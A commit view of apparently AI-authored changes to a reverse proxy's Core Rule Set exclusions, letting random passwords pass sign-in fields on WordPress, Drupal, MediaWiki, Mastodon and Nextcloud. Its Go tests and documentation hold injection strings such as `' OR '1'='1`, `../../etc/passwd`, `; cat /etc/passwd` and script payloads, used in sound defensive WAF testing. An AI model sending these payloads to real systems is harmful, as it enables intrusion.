Author SHA1 Message Date
clawbot d068af0138 Core Rule Set: random passwords pass at sign-in (closes #276)
check / check (push) Failing after 4m9s
A password manager's random password set off 35 Core Rule Set rules,
about 1 in 40 refused. The password fields the app exclusions name now
skip those rules on their paths: WordPress pwd, Drupal pass, MediaWiki
wpPassword, lgpassword and password, Mastodon's sign-in, sign-up,
password change, move and delete passwords, and Nextcloud's sign-in
password. The tests draw 2,000 random passwords from a fixed seed, plus
one rare password for each rule the 2,000 do not set off. Those that set
off a rule in a field no exclusion names are sent to every password
field. `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
`<img src=x onerror=x()>` sent as a password now pass;
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused.

Model: opus-5-5
2026-11-10 12:56:01 +00:00
clawbot 2ac7f1ccbf Core Rule Set: Nextcloud's calendar and contacts sync pass (closes #280)
check / check (push) Failing after 4m1s
rproxy passes MKCALENDAR on. nextcloud.conf allows it on
/remote.php/dav/calendars/ and PROPFIND on /.well-known/caldav and
carddav. The XML of an MKCOL there skips 930120, 932120, 932250 and
932260. That of an MKCALENDAR, and of an MKCOL on the address books'
paths, also skips 932125 and 932230, for the description. A PUT of
text/calendar or text/vcard there skips 920530: the Calendar and
Contacts apps name the charset twice when they change an event or a
contact.

Recorded from Nextcloud 35.0.2 with Calendar 6.6.5, Contacts 8.9.5 and
requests imitating DAVx5.

Model: opus-5-5
2026-11-10 11:57:58 +01:00
15 changed files with 1107 additions and 34 deletions

No files matched your search

+4
View File
@@ -602,6 +602,10 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
- Nextcloud: its sync client gets through. On Nextcloud's own paths, its
WebDAV methods, searches, file names, account names, comments and
documents do too.
- A random password, as a password manager makes one, gets through these forms:
- signing in, on WordPress, Drupal, MediaWiki and Nextcloud;
- signing in, signing up, changing the password, and moving or deleting the
account, on Mastodon.
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
fields or paths.
- Rule files are plain text, one rule to a line, edited by hand and read again
+110 -4
View File
@@ -919,7 +919,20 @@ The changes hold in front of every app, and no setting undoes them:
- `content` of a reply to a comment sent to `admin-ajax.php`.
- `newcontent` of a plugin's or a theme's file saved from its editor,
which is PHP.
- `pwd` when signing in, for the list of system files (930120).
- `pwd`, the password when signing in, for each rule that random
passwords set off:
920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130,
932160, 932230, 932250, 932260, 932270, 932280, 932330, 932340,
932370, 932380, 933100, 933135, 933180, 933210, 941100, 941120,
941160, 941180, 942100, 942151, 942190, 942230, 942290, 942320,
942540, 942550, 944150.
`' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
`<img src=x onerror=x()>` sent as the password reach WordPress;
`<script>alert(1)</script>` and `javascript:alert(1)` are still
refused.
- `title`, `excerpt` and `name` in a JSON body sent to any REST API
route under `/wp/v2/`, for the rules on system files and commands
(930120, 932120, 932250, 932260).
@@ -987,6 +1000,18 @@ The changes hold in front of every app, and no setting undoes them:
- The body and comment body on the node and comment forms and through
JSON:API, which hold HTML and any code it shows.
- `name` and `pass` when signing in (930120, 932120, 932250, 932260).
- `pass`, the password when signing in, in form data or JSON, for each rule
that random passwords set off:
920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160,
932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380,
933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100,
942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150.
`' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
`<img src=x onerror=x()>` sent as the password reach Drupal;
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
- `name` when resetting a password through Drupal's JSON format on
`/user/password`, for the same four rules.
- `mail` in that same reset, for 932120 and 932260 only.
@@ -1066,6 +1091,20 @@ The changes hold in front of every app, and no setting undoes them:
- `wpTextbox1` on MediaWiki's pages;
- `text`, `appendtext` and `prependtext` on `/api.php`;
- `source` in the JSON body of `/rest.php/`.
- The passwords when signing in:
- `wpPassword` on MediaWiki's pages;
- `lgpassword` and `password` on `/api.php`.
They skip each rule that random passwords set off:
920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160,
932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380,
933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100,
942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150.
`' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
`<img src=x onerror=x()>` sent as a password reach MediaWiki;
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
applies when the query has a parameter of the same name.
@@ -1192,6 +1231,27 @@ The changes hold in front of every app, and no setting undoes them:
Each name contains `.forward`, a file in a home folder. So 930120 refused
every report the web app sent. The keys' values keep every rule.
The passwords in a body:
- on `/auth`, `/settings/migration` and `/settings/delete`, and the paths
under them:
- `user[password]`, `user[password_confirmation]` and
`user[current_password]`;
- `account_migration[current_password]` and
`form_redirect[current_password]`;
- `form_delete_confirmation[password]`;
- `password` on `/api/v1/accounts`, in form data or JSON.
They skip each rule that random passwords set off:
920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160,
932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380,
933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100,
942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150.
`' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
`<img src=x onerror=x()>` sent as a password reach Mastodon;
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
applies when the query has a parameter of the same name.
@@ -1324,6 +1384,19 @@ The changes hold in front of every app, and no setting undoes them:
saves.
- `name` on `/remote.php/dav/systemtags/`, a new tag.
`password` in the body of `/login`, the password when signing in, skips each
rule that random passwords set off:
920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160,
932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380,
933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100,
942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150.
It applies only when the query has no `password` parameter. `' OR '1'='1`,
`../../etc/passwd`, `; cat /etc/passwd` and `<img src=x onerror=x()>` sent
as the password reach Nextcloud; `<script>alert(1)</script>` and
`javascript:alert(1)` are still refused.
Some fields hold sentences a person writes:
- `note`, a share's note, on `apps/files_sharing/api/v1/shares` of the OCS
API and on each share under it;
@@ -1346,6 +1419,35 @@ The changes hold in front of every app, and no setting undoes them:
The XML body of a `SEARCH` on `/remote.php/dav/`, the Files app's search,
skips the four rules.
The Calendar and Contacts apps, and CalDAV and CardDAV clients, use these
paths:
- `/remote.php/dav/calendars/`, which holds the calendars;
- `/remote.php/dav/addressbooks/`, which holds the address books.
There:
- `MKCALENDAR`, with which a CalDAV client makes a calendar, is allowed on
the calendars' paths only.
- The XML body of an `MKCOL` names a new calendar or address book. A new
address book's body may also hold its description. The body skips the four
rules. On the address books' paths, it also skips two rules that refused a
description such as `Powershell and python3 contacts; ls -la first`
(932125, 932230).
- The XML body of an `MKCALENDAR` holds the new calendar's name and
description. It skips the four rules, and two rules that refused a
description such as `Powershell and python3 meetings; ls -la first`
(932125, 932230).
- The body of a `PUT` of an event or a contact is not read, as for any `PUT`
on the WebDAV paths. So the Core Rule Set does not check an event's title,
location or description, or a contact's names.
- The Calendar and Contacts apps name the charset twice in the
`Content-Type` of the `PUT` that changes an event or a contact. A `PUT`
typed `text/calendar` or `text/vcard` skips 920530, the rule against two
charsets.
A CalDAV or CardDAV client finds these paths with a `PROPFIND` on
`/.well-known/caldav` or `/.well-known/carddav`. That method is allowed on
those two paths.
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
applies to a JSON field when the query has a parameter of that name, such as
`json.message`. Nextcloud's pages are matched at the site root and under
@@ -2034,13 +2136,17 @@ image runs it by default (see "Deployment").
- `SEARCH`
- `LOCK`
- `UNLOCK`
- `MKCALENDAR`
It answers any other method `405`, with no question and no report. The answer's
`Allow` header names these methods.
Nextcloud's Files app and sync client use the last nine, which are WebDAV
methods. The Core Rule Set refuses them except where an app's exclusions allow
them.
The last ten are WebDAV methods, for Nextcloud:
- its Files app and sync client use the nine from `PROPFIND` to `UNLOCK`;
- a CalDAV client makes a calendar with `MKCALENDAR`.
The Core Rule Set refuses them except where an app's exclusions allow them.
`rproxy` answers `400`, with no question and no report, to a request with:
+298
View File
@@ -1,8 +1,10 @@
package coreruleset_test
import (
"context"
"encoding/json"
"fmt"
"math/rand/v2"
"net/http"
"net/http/httptest"
"net/netip"
@@ -624,6 +626,289 @@ const passwordField = "password="
//nolint:gochecknoglobals // a constant cannot be a list
var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
// randomPassword returns a password of 20 characters, each one of the 95
// printable ASCII characters, space included, drawn from random.
func randomPassword(random *rand.Rand) string {
const length = 20
var printable []byte
for c := byte(' '); c <= '~'; c++ {
printable = append(printable, c)
}
password := make([]byte, length)
for i := range password {
password[i] = printable[random.IntN(len(printable))]
}
return string(password)
}
// rarePasswords are random passwords from randomPasswords' seed, found among
// the first 1,000,000. Each sets off the rule named beside it, which the first
// 2,000 do not set off.
//
//nolint:gochecknoglobals // a constant cannot be a list
var rarePasswords = []string{
"x)g|E0f)~.um%00G]<oA", // 920270
"uC?mK\\U2fEbXA}~j7fPb", // 920540
"4;yfIDKZYNtZT)(w-=%@", // 921200
"`sAIfEVdBprjxR$/.?\\d", // 930100
"Unt@1xza,:%j$/..;5y+", // 930110
"VN.CVsu^3vbUS==4Q&Y@", // 930120
"gJ<EcT)jhZ'`GC>cX~hM", // 932125
" /\"j14y[%\\(iM]zmG%=^", // 932130
"\\f*q5v$]$IfS3JoY:*r1", // 932160
"*e#!-z{Jq)Sqwx@k:b:}", // 932230
"pErl>vR[Z7K^<f%_4,WZ", // 932260
"){2P,GU}a3mYvjq^(p1^", // 932280
"xw4UGJk!-8#ZE(`.ij.O", // 932330
" XVw(2mN5R,+%~_f\"n<?", // 933100
"0ZK1D>`RHb+RW${/(z}C", // 933135
"Ep3!qqe 7$RT(_)@SLV6", // 933180
"&:4WomDrn$\"(SE_D);Ja", // 933210
"='nlIgN7ON\\\\mWt=Tr84", // 941120
"P]/C>Ef]F-<sV,&gs.[4", // 941160
"<!--a\"9Ju}r!2=J-kZDd", // 941180
"@`].*EJ?`Cw^8\\orD!(f", // 942151
"StTj*t:IF(Uq_<aG0mya", // 942230
"t,D-oJjnvL Dn!o::Int", // 942320
"Z>\"{Z\\QDwqBQs%v}`nBu", // 942550
"`aV#3${J4,\\h.q' k\\${", // 944150
}
// randomPasswords returns 2,000 random passwords from a fixed seed, then
// rarePasswords.
func randomPasswords() []string {
const count, seed = 2000, 276
random := rand.New(rand.NewPCG(seed, seed)) //nolint:gosec // a fixed sample
passwords := make([]string, count, count+len(rarePasswords))
for i := range passwords {
passwords[i] = randomPassword(random)
}
return append(passwords, rarePasswords...)
}
// passwordBody returns a body of r's type, form data or JSON, that sends
// each of passwords in the field name. Coraza checks each value of a field
// on its own, and keeps every value of a JSON key sent more than once.
func passwordBody(t *testing.T, r request, name string, passwords ...string) string {
t.Helper()
if r.headers[0] != jsonBody {
return formBody(name, passwords...)
}
values := make([]string, len(passwords))
for i, password := range passwords {
pair, err := json.Marshal(map[string]string{name: password})
if err != nil {
t.Fatal(err)
}
values[i] = strings.Trim(string(pair), "{}")
}
return "{" + strings.Join(values, ",") + "}"
}
// formBody returns a form data body that sends each of values in the field
// name.
func formBody(name string, values ...string) string {
fields := make([]string, len(values))
for i, value := range values {
fields[i] = url.QueryEscape(name) + "=" + url.QueryEscape(value)
}
return strings.Join(fields, "&")
}
// setsOffARule reports whether body, form data sent to / as a browser
// sends it, sets off a rule in crs.
func setsOffARule(crs *coreruleset.CoreRuleSet, body string) bool {
req := httptest.NewRequestWithContext(context.Background(), http.MethodPost,
"http://git.example/", strings.NewReader(body))
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("Content-Length", strconv.Itoa(len(body)))
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
"Gecko/20100101 Firefox/131.0")
req.Header.Set("Accept", "text/html")
// The body is read from memory, which cannot fail.
result, _, _ := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body)
return len(result.RuleIDs) > 0
}
// findMisfiringPasswords returns those of randomPasswords that set off a
// rule in the form data field password on /, which no exclusion names, while
// bodies are read. It runs once, for every test that asks. Each body sends
// ten passwords, and a body that sets off a rule is sent again one password
// at a time.
//
//nolint:gochecknoglobals // the tests share it
var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) {
const workers, perBody = 16, 10
crs, err := loaderFor(coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
})()
if err != nil {
return nil, err
}
passwords := randomPasswords()
misfires := make([]bool, len(passwords))
var inspecting sync.WaitGroup
for worker := range workers {
inspecting.Go(func() {
for first := worker * perBody; first < len(passwords); first += workers * perBody {
last := min(first+perBody, len(passwords))
if !setsOffARule(crs, formBody("password", passwords[first:last]...)) {
continue
}
for i := first; i < last; i++ {
misfires[i] = setsOffARule(crs, formBody("password", passwords[i]))
}
}
})
}
inspecting.Wait()
var misfiring []string
for i, password := range passwords {
if misfires[i] {
misfiring = append(misfiring, password)
}
}
return misfiring, nil
})
// misfiringPasswords returns those of randomPasswords that set off a rule in
// a field no exclusion names. The rules that misfire on a password read its
// value, not the name of its field. So the other random passwords set off no
// rule in any field.
func misfiringPasswords(t *testing.T) []string {
t.Helper()
misfiring, err := findMisfiringPasswords()
if err != nil {
t.Fatalf("load the Core Rule Set: %v", err)
}
for _, rare := range rarePasswords {
if !slices.Contains(misfiring, rare) {
t.Fatalf("%q sets off no rule in a field no exclusion names", rare)
}
}
return misfiring
}
// wantRandomPasswordsPass checks that none of randomPasswords, sent in the
// field name of r's body, is refused while bodies are read. r's Content-Type
// is form data or JSON. Only the passwords misfiringPasswords returns set off
// a rule in some field, so only they are sent, all in one body. If it is
// refused, each is sent again on its own, to name those refused.
func wantRandomPasswordsPass(t *testing.T, r request, name string) {
t.Helper()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
crs := readingBodies(t)
misfiring := misfiringPasswords(t)
body := passwordBody(t, r, name, misfiring...)
if len(body) > bodyLimit {
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
}
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
return
}
for _, password := range misfiring {
body := passwordBody(t, r, name, password)
if got, _ := inspectBody(t, crs, r, body); got.Score >= threshold {
t.Errorf("%s %s %s %q refused: %+v", r.method, r.target, name,
password, got)
}
}
}
// wantPasswordAttacksPass checks that an SQL injection, a path traversal, a
// shell command and a script in an event handler, each sent as the whole
// password in the field name of r's body, pass while bodies are read.
func wantPasswordAttacksPass(t *testing.T, r request, name string) {
t.Helper()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
for _, attack := range []string{
"' OR '1'='1", pathTraversal, "; cat /etc/passwd",
"<img src=x onerror=x()>",
} {
body := passwordBody(t, r, name, attack)
if got, _ := inspectBody(t, readingBodies(t), r, body); got.Score >= threshold {
t.Errorf("%s %s %s %q refused: %+v", r.method, r.target, name,
attack, got)
}
}
}
// wantPasswordAttacksRefused checks that a script tag and a javascript: link,
// each sent as the whole password in the field name of r's body, are refused
// while bodies are read.
func wantPasswordAttacksRefused(t *testing.T, r request, name string) {
t.Helper()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
for _, attack := range []string{scriptTag, "javascript:alert(1)"} {
body := passwordBody(t, r, name, attack)
if got, _ := inspectBody(t, readingBodies(t), r, body); got.Score < threshold {
t.Errorf("%s %s %s %q let through: %+v", r.method, r.target, name,
attack, got)
}
}
}
func TestPasswordFieldsStayCheckedInTheQuery(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
crs := readingBodies(t)
// These fields skip the rules only when the query has no field of the
// same name. An SQL injection in the query is refused.
for _, sent := range []struct{ path, field string }{
{nextcloudSignIn, passwordField},
{mediawikiAPI, passwordField},
{mediawikiAPI, "lgpassword="},
} {
r := request{
http.MethodPost, sent.path + "?" + sent.field + "'%20OR%20'1'='1",
[]string{formData},
}
got, _ := inspectBody(t, crs, r, sent.field+"example")
if got.Score < threshold {
t.Errorf("POST %s let through: %+v", r.target, got)
}
}
}
// wantRecordedRequestsPass checks that none of the recorded ordinary
// requests in the file name in testdata is refused, at the defaults and
// while bodies are read. A request with neither a body nor a Content-Type
@@ -1348,6 +1633,16 @@ func TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere(t *testing.T) {
wantBody(t, crs, comment, "url=ls+-la", matched(932250), "url=ls+-la")
}
func TestWordPressPasswordsPass(t *testing.T) {
t.Parallel()
signIn := request{http.MethodPost, wpLogin, []string{formData}}
wantRandomPasswordsPass(t, signIn, "pwd")
wantPasswordAttacksPass(t, signIn, "pwd")
wantPasswordAttacksRefused(t, signIn, "pwd")
}
func TestWordPressExclusionsAreNarrow(t *testing.T) {
t.Parallel()
@@ -1405,6 +1700,9 @@ const injection = "1' OR '1'='1"
// scriptTag is a script injection, not escaped.
const scriptTag = "<script>alert(1)</script>"
// pathTraversal is a path traversal, not escaped.
const pathTraversal = "../../etc/passwd"
// readingBodies returns the Core Rule Set as sww runs it by
// default, but reading bodies up to bodyLimit.
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
+40
View File
@@ -184,6 +184,46 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:name|pass)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:name|pass)$/"
# The password, pass, skips each rule that random passwords set off.
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
"id:900819,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:json\.)?pass$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?pass$/"
# A person's name and email address, when signing up, when editing an
# account and when commenting without an account. A name of python3 refused
# signing up, and python3@example.com refused saving an account. An address
+17 -1
View File
@@ -109,7 +109,6 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
{reply, drupalName + attack},
{drupalSignIn, "pass=" + attack},
{drupalSignIn, drupalName + attack},
{"/fr/user/login", drupalName + attack},
{"/user/register", drupalName + attack},
@@ -172,6 +171,23 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
}
}
func TestDrupalPasswordPasses(t *testing.T) {
t.Parallel()
for _, r := range []request{
{http.MethodPost, drupalSignIn, []string{formData}},
{http.MethodPost, drupalJSONSignIn, []string{jsonBody}},
} {
t.Run(r.target, func(t *testing.T) {
t.Parallel()
wantRandomPasswordsPass(t, r, "pass")
wantPasswordAttacksPass(t, r, "pass")
wantPasswordAttacksRefused(t, r, "pass")
})
}
}
func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
t.Parallel()
+79
View File
@@ -176,6 +176,85 @@ SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:password|reason)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:password|reason)$/"
# The passwords named above skip each rule that random passwords set off.
SecRule REQUEST_FILENAME "@rx ^/(?:settings/(?:migration|delete)|auth)(?:/|$)" \
"id:900965,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/"
SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \
"id:900966,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:json\.)?password$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?password$/,\
